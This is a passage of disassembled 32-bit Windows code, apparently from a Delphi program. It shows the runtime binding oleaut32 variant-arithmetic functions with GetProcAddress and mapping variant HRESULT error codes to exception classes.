sub_4000D248	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D250	proc near		; CODE XREF: sub_4000E1E0+CBp
					; sub_4000E480+B5p
		jmp	ds:dword_40024648
sub_4000D250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000D258	proc near		; CODE XREF: sub_4000E1E0+142p
					; sub_4000E480+16Bp ...
		jmp	ds:dword_40024644
sub_4000D258	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D260	proc near		; CODE XREF: sub_4000D28C+1Cp
					; sub_4000D28C+32p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, ebx
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx-4], 0
		jz	short loc_4000D286
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		push	eax
		call	sub_400065A8	; GetProcAddress
		mov	edx, eax
		test	edx, edx
		jnz	short loc_4000D286
		mov	edx, ebx


loc_4000D286:				; CODE XREF: sub_4000D260+Fj
					; sub_4000D260+22j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_4000D260	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D28C	proc near		; CODE XREF: .itext:4001913Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_4000D484
		call	sub_400065A0	; GetModuleHandleA
		mov	[ebp+var_4], eax
		push	ebp
		mov	edx, offset sub_4000CDF8
		mov	eax, offset aVariantchanget ; "VariantChangeTypeEx"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F228, eax
		push	ebp
		mov	edx, offset sub_4000CE28
		mov	eax, offset aVarneg ; "VarNeg"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F22C, eax
		push	ebp
		mov	edx, offset sub_4000CE28
		mov	eax, offset aVarnot ; "VarNot"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F230, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVaradd ; "VarAdd"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F234, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarsub ; "VarSub"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F238, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarmul ; "VarMul"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F23C, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVardiv ; "VarDiv"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F240, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVaridiv ; "VarIdiv"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F244, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarmod ; "VarMod"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F248, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarand ; "VarAnd"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F24C, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVaror ; "VarOr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F250, eax
		push	ebp
		mov	edx, offset sub_4000CE34
		mov	eax, offset aVarxor ; "VarXor"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F254, eax
		push	ebp
		mov	edx, offset sub_4000CE40
		mov	eax, offset aVarcmp ; "VarCmp"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F258, eax
		push	ebp
		mov	edx, offset sub_4000CE4C
		mov	eax, offset aVari4fromstr ; "VarI4FromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F25C, eax
		push	ebp
		mov	edx, offset sub_4000CEB8
		mov	eax, offset aVarr4fromstr ; "VarR4FromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F260, eax
		push	ebp
		mov	edx, offset sub_4000CF24
		mov	eax, offset aVarr8fromstr ; "VarR8FromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F264, eax
		push	ebp
		mov	edx, offset sub_4000CF90
		mov	eax, offset aVardatefromstr ; "VarDateFromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F268, eax
		push	ebp
		mov	edx, offset sub_4000CFFC
		mov	eax, offset aVarcyfromstr ; "VarCyFromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F26C, eax
		push	ebp
		mov	edx, offset sub_4000D068
		mov	eax, offset aVarboolfromstr ; "VarBoolFromStr"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F270, eax
		push	ebp
		mov	edx, offset sub_4000D0E8
		mov	eax, offset aVarbstrfromcy ; "VarBstrFromCy"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F274, eax
		push	ebp
		mov	edx, offset sub_4000D158
		mov	eax, offset aVarbstrfromdat ; "VarBstrFromDate"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F278, eax
		push	ebp
		mov	edx, offset sub_4000D1CC
		mov	eax, offset aVarbstrfromboo ; "VarBstrFromBool"
		call	sub_4000D260
		pop	ecx
		mov	ds:dword_4001F27C, eax
		pop	ecx
		pop	ebp
		retn
sub_4000D28C	endp

; ---------------------------------------------------------------------------
dword_4000D484	dd 61656C6Fh, 32337475h, 6C6C642Eh, 0aVariantchanget	db 'VariantChangeTypeEx',0 ; DATA XREF: sub_4000D28C+17o
aVarneg		db 'VarNeg',0           ; DATA XREF: sub_4000D28C+2Do
		align 10h
aVarnot		db 'VarNot',0           ; DATA XREF: sub_4000D28C+43o
		align 4
aVaradd		db 'VarAdd',0           ; DATA XREF: sub_4000D28C+59o
		align 10h
aVarsub		db 'VarSub',0           ; DATA XREF: sub_4000D28C+6Fo
		align 4
aVarmul		db 'VarMul',0           ; DATA XREF: sub_4000D28C+85o
		align 10h
aVardiv		db 'VarDiv',0           ; DATA XREF: sub_4000D28C+9Bo
		align 4
aVaridiv	db 'VarIdiv',0          ; DATA XREF: sub_4000D28C+B1o
aVarmod		db 'VarMod',0           ; DATA XREF: sub_4000D28C+C7o
		align 4
aVarand		db 'VarAnd',0           ; DATA XREF: sub_4000D28C+DDo
		align 10h
aVaror		db 'VarOr',0            ; DATA XREF: sub_4000D28C+F3o
		align 4
aVarxor		db 'VarXor',0           ; DATA XREF: sub_4000D28C+109o
		align 10h
aVarcmp		db 'VarCmp',0           ; DATA XREF: sub_4000D28C+11Fo
		align 4
aVari4fromstr	db 'VarI4FromStr',0     ; DATA XREF: sub_4000D28C+135o
		align 4
aVarr4fromstr	db 'VarR4FromStr',0     ; DATA XREF: sub_4000D28C+14Bo
		align 4
aVarr8fromstr	db 'VarR8FromStr',0     ; DATA XREF: sub_4000D28C+161o
		align 4
aVardatefromstr	db 'VarDateFromStr',0   ; DATA XREF: sub_4000D28C+177o
		align 4
aVarcyfromstr	db 'VarCyFromStr',0     ; DATA XREF: sub_4000D28C+18Do
		align 4
aVarboolfromstr	db 'VarBoolFromStr',0   ; DATA XREF: sub_4000D28C+1A3o
		align 4
aVarbstrfromcy	db 'VarBstrFromCy',0    ; DATA XREF: sub_4000D28C+1B9o
		align 4
aVarbstrfromdat	db 'VarBstrFromDate',0  ; DATA XREF: sub_4000D28C+1CFo
aVarbstrfromboo	db 'VarBstrFromBool',0  ; DATA XREF: sub_4000D28C+1E5o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000D598	proc near		; DATA XREF: .text:40018378o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4000D5BD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F280
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000D5C4


loc_4000D5BC:				; CODE XREF: sub_4000D598+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4000D5BD:				; DATA XREF: sub_4000D598+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000D5BC
; ---------------------------------------------------------------------------


loc_4000D5C4:				; CODE XREF: sub_4000D598:loc_4000D5BCj
					; DATA XREF: sub_4000D598+1Fo
		pop	ebp
		retn
sub_4000D598	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0C0h
		db 0CCh
; ---------------------------------------------------------------------------


loc_4000D5C9:				; DATA XREF: .text:off_4000D5EAo
		add	dword ptr [esp+4], 0FFFFFFF8h
		mov	eax, [esp+4]
		mov	eax, [eax]
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------


loc_4000D5D6:				; DATA XREF: .text:4000D5EEo
		add	dword ptr [esp+4], 0FFFFFFF8h
		jmp	loc_40012D58
; ---------------------------------------------------------------------------


loc_4000D5E0:				; DATA XREF: .text:4000D5F2o
		add	dword ptr [esp+4], 0FFFFFFF8h
		jmp	loc_40012D64
; ---------------------------------------------------------------------------
off_4000D5EA	dd offset loc_4000D5C9	; DATA XREF: .text:4000D60Ao
		dd offset loc_4000D5D6
		dd offset loc_4000D5E0
word_4000D5F6	dw 1			; DATA XREF: .text:4000D61Co
		dd 2 dup(0)
		dd 0C00000h, 0
		db 0, 46h
		dd offset off_4000D5EA
		dw 8
		dd 0
		align 8
		dd offset off_4000D664
		dd offset word_4000D5F6
		dd 6 dup(0)
		dd offset dword_4000D6A0
		dd 0Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40012C6C
off_4000D664	dd offset sub_40012D70	; DATA XREF: .text:4000D618o
					; .text:4000D6CCo
		dd offset sub_40012CFC
		dd offset sub_40012D30
		dd offset sub_40012D10
		dd offset sub_40012D4C
		dd offset sub_40012CF8
		dd offset sub_40012B6C
		dd offset sub_40012BA4
		dd offset sub_40012C30
		dd offset sub_400030B4
		dd offset sub_400030B4
		dd offset sub_40012B60
		dd offset sub_40012D44
		dd offset sub_40012BF8
		dd offset sub_40012BEC
dword_4000D6A0	dd 75435412h, 6D6F7473h, 69726156h, 54746E61h, 90657079h
					; DATA XREF: .text:4000D638o
off_4000D6B4	dd offset dword_4000D6B8 ; DATA	XREF: .text:40012AE5o
dword_4000D6B8	dd 43541207h, 6F747375h, 7261566Dh, 746E6169h, 65707954h
					; DATA XREF: .text:off_4000D6B4o
		dd offset off_4000D664
		dd offset off_40001070
		dd 56080000h, 61697261h, 73746Eh, 408D00h
off_4000D6E4	dd offset dword_4000D730 ; DATA	XREF: sub_4000DC90+25r
		dd 7 dup(0)
		dd offset dword_4000D730
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D730	dd 61564516h, 6E616972h, 766E4974h, 64696C61h, 7245704Fh
					; DATA XREF: .text:off_4000D6E4o
					; .text:4000D704o
		dd 90726F72h
off_4000D748	dd offset dword_4000D794 ; DATA	XREF: sub_4000DBA0+25r
					; sub_4000DBF4+65r
		dd 7 dup(0)
		dd offset dword_4000D794
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D794	dd 61564515h, 6E616972h, 70795474h, 73614365h, 72724574h
					; DATA XREF: .text:off_4000D748o
					; .text:4000D768o
		dd 0C08B726Fh
off_4000D7AC	dd offset dword_4000D7F8 ; DATA	XREF: sub_4000DCE4+65r
					; sub_4000DDD4+DBr
		dd 7 dup(0)
		dd offset dword_4000D7F8
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D7F8	dd 61564515h, 6E616972h, 65764F74h, 6F6C6672h, 72724577h
					; DATA XREF: .text:off_4000D7ACo
					; .text:4000D7CCo
		dd 0C08B726Fh
off_4000D810	dd offset dword_4000D85C ; DATA	XREF: sub_4000DDD4+199r
		dd 7 dup(0)
		dd offset dword_4000D85C
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D85C	dd 61564517h, 6E616972h, 766E4974h, 64696C61h, 45677241h
					; DATA XREF: .text:off_4000D810o
					; .text:4000D830o
		dd 726F7272h
off_4000D874	dd offset dword_4000D8C0 ; DATA	XREF: sub_4000DDD4+ABr
		dd 7 dup(0)
		dd offset dword_4000D8C0
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D8C0	dd 61564517h, 6E616972h, 64614274h, 54726156h, 45657079h
					; DATA XREF: .text:off_4000D874o
					; .text:4000D894o
		dd 726F7272h
off_4000D8D8	dd offset dword_4000D924 ; DATA	XREF: sub_4000DDD4+101r
		dd 7 dup(0)
		dd offset dword_4000D924
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D924	dd 61564515h, 6E616972h, 64614274h, 65646E49h, 72724578h
					; DATA XREF: .text:off_4000D8D8o
					; .text:4000D8F8o
		dd 0C08B726Fh
off_4000D93C	dd offset dword_4000D988 ; DATA	XREF: sub_4000DDD4+127r
		dd 7 dup(0)
		dd offset dword_4000D988
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D988	dd 61564518h, 6E616972h, 72724174h, 6F4C7961h, 64656B63h
					; DATA XREF: .text:off_4000D93Co
					; .text:4000D95Co
		dd 6F727245h, 408D72h
off_4000D9A4	dd offset dword_4000D9F0 ; DATA	XREF: sub_4000DD80+25r
		dd 7 dup(0)
		dd offset dword_4000D9F0
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000D9F0	dd 61564518h, 6E616972h, 72724174h, 72437961h, 65746165h
					; DATA XREF: .text:off_4000D9A4o
					; .text:4000D9C4o
		dd 6F727245h, 408D72h
off_4000DA0C	dd offset dword_4000DA58 ; DATA	XREF: sub_4000DDD4+14Dr
		dd 7 dup(0)
		dd offset dword_4000DA58
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DA58	dd 61564514h, 6E616972h, 746F4E74h, 6C706D49h, 6F727245h
					; DATA XREF: .text:off_4000DA0Co
					; .text:4000DA2Co
		dd 408D72h
off_4000DA70	dd offset dword_4000DABC ; DATA	XREF: sub_4000DDD4+173r
		dd 7 dup(0)
		dd offset dword_4000DABC
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DABC	dd 61564518h, 6E616972h, 74754F74h, 654D664Fh, 79726F6Dh
					; DATA XREF: .text:off_4000DA70o
					; .text:4000DA90o
		dd 6F727245h, 408D72h
off_4000DAD8	dd offset dword_4000DB24 ; DATA	XREF: sub_4000DDD4+1BCr
		dd 7 dup(0)
		dd offset dword_4000DB24
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DB24	dd 61564517h, 6E616972h, 656E5574h, 63657078h, 45646574h
					; DATA XREF: .text:off_4000DAD8o
					; .text:4000DAF8o
		dd 726F7272h
off_4000DB3C	dd offset dword_4000DB88 ; DATA	XREF: sub_4000E0EC+25r
		dd 7 dup(0)
		dd offset dword_4000DB88
		dd 0Ch
		dd offset off_400075AC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000DB88	dd 61564515h, 6E616972h, 73694474h, 63746170h, 72724568h
					; DATA XREF: .text:off_4000DB3Co
					; .text:4000DB5Co
		dd 0C08B726Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DBA0	proc near		; CODE XREF: sub_4000DDD4:loc_4000DE63p
					; sub_4000E744+33p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000DBEA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AFD4
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D748
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DBF1


loc_4000DBE1:				; CODE XREF: sub_4000DBA0+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000DBEA:				; DATA XREF: sub_4000DBA0+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DBE1
; ---------------------------------------------------------------------------


loc_4000DBF1:				; CODE XREF: sub_4000DBA0+49j
					; DATA XREF: sub_4000DBA0+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000DBA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DBF4	proc near		; CODE XREF: sub_4000E034+1Ap
					; sub_4000E8E0+74p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000DC83
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_4001293C
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0Bh
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_4001293C
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	edx, [ebp+var_1C]
		mov	eax, off_4001AEC0
		call	sub_400062F0
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, ds:off_4000D748
		call	sub_4000B06C
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DC8A


loc_4000DC75:				; CODE XREF: sub_4000DBF4+94j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000DC83:				; DATA XREF: sub_4000DBF4+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DC75
; ---------------------------------------------------------------------------


loc_4000DC8A:				; CODE XREF: sub_4000DBF4+8Ej
					; DATA XREF: sub_4000DBF4+7Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000DBF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DC90	proc near		; CODE XREF: sub_4000DDD4:loc_4000DE93p
					; sub_4000E35C+3Ap ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000DCDA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AFB4
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D6E4
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DCE1


loc_4000DCD1:				; CODE XREF: sub_4000DC90+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000DCDA:				; DATA XREF: sub_4000DC90+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DCD1
; ---------------------------------------------------------------------------


loc_4000DCE1:				; CODE XREF: sub_4000DC90+49j
					; DATA XREF: sub_4000DC90+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000DC90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DCE4	proc near		; CODE XREF: sub_4000E034+25p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000DD73
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_4001293C
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0Bh
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_4001293C
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	edx, [ebp+var_1C]
		mov	eax, off_4001B014
		call	sub_400062F0
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, ds:off_4000D7AC
		call	sub_4000B06C
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DD7A


loc_4000DD65:				; CODE XREF: sub_4000DCE4+94j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_4000DD73:				; DATA XREF: sub_4000DCE4+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DD65
; ---------------------------------------------------------------------------


loc_4000DD7A:				; CODE XREF: sub_4000DCE4+8Ej
					; DATA XREF: sub_4000DCE4+7Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000DCE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DD80	proc near		; CODE XREF: sub_4000E480+F9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_4000DDCA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, off_4001AF94
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D9A4
		call	sub_4000B030
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000DDD1


loc_4000DDC1:				; CODE XREF: sub_4000DD80+4Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000DDCA:				; DATA XREF: sub_4000DD80+8o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000DDC1
; ---------------------------------------------------------------------------


loc_4000DDD1:				; CODE XREF: sub_4000DD80+49j
					; DATA XREF: sub_4000DD80+3Co
		pop	ecx
		pop	ebp
		retn
sub_4000DD80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000DDD4	proc near		; CODE XREF: sub_4000E028+4p
					; sub_4000E034:loc_4000E060p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4000DDDC:				; CODE XREF: sub_4000DDD4+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4000DDDC
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000E019
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		cmp	eax, 8002000Ah
		jg	short loc_4000DE36
		jz	loc_4000DE9D
		cmp	eax, 80020005h
		jg	short loc_4000DE27
		jz	short loc_4000DE63
		sub	eax, 80004001h
		jz	loc_4000DF0F
		sub	eax, 0BFFEh
		jz	loc_4000DF7E
		jmp	loc_4000DFA1
; ---------------------------------------------------------------------------


loc_4000DE27:				; CODE XREF: sub_4000DDD4+34j
		sub	eax, 80020008h
		jz	short loc_4000DE6D
		dec	eax
		jz	short loc_4000DE93
		jmp	loc_4000DFA1
; ---------------------------------------------------------------------------


loc_4000DE36:				; CODE XREF: sub_4000DDD4+27j
		sub	eax, 8002000Bh
		jz	loc_4000DEC3
		sub	eax, 2
		jz	loc_4000DEE9
		sub	eax, 50001h
		jz	loc_4000DF35
		sub	eax, 49h
		jz	loc_4000DF5B
		jmp	loc_4000DFA1
; ---------------------------------------------------------------------------


loc_4000DE63:				; CODE XREF: sub_4000DDD4+36j
		call	sub_4000DBA0
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DE6D:				; CODE XREF: sub_4000DDD4+58j
		lea	edx, [ebp+var_4]
		mov	eax, off_4001B090
		call	sub_400062F0
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4000D874
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DE93:				; CODE XREF: sub_4000DDD4+5Bj
		call	sub_4000DC90
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DE9D:				; CODE XREF: sub_4000DDD4+29j
		lea	edx, [ebp+var_8]
		mov	eax, off_4001AF00
		call	sub_400062F0
		mov	ecx, [ebp+var_8]
		mov	dl, 1
		mov	eax, ds:off_4000D7AC
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DEC3:				; CODE XREF: sub_4000DDD4+67j
		lea	edx, [ebp+var_C]
		mov	eax, off_4001B050
		call	sub_400062F0
		mov	ecx, [ebp+var_C]
		mov	dl, 1
		mov	eax, ds:off_4000D8D8
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DEE9:				; CODE XREF: sub_4000DDD4+70j
		lea	edx, [ebp+var_10]
		mov	eax, off_4001B0C0
		call	sub_400062F0
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_4000D93C
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF0F:				; CODE XREF: sub_4000DDD4+3Dj
		lea	edx, [ebp+var_14]
		mov	eax, off_4001AFF4
		call	sub_400062F0
		mov	ecx, [ebp+var_14]
		mov	dl, 1
		mov	eax, ds:off_4000DA0C
		call	sub_4000B030
		call	sub_400042E4
		jmp	loc_4000DFF1
; ---------------------------------------------------------------------------


loc_4000DF35:				; CODE XREF: sub_4000DDD4+7Bj
		lea	edx, [ebp+var_18]
		mov	eax, off_4001AF2C
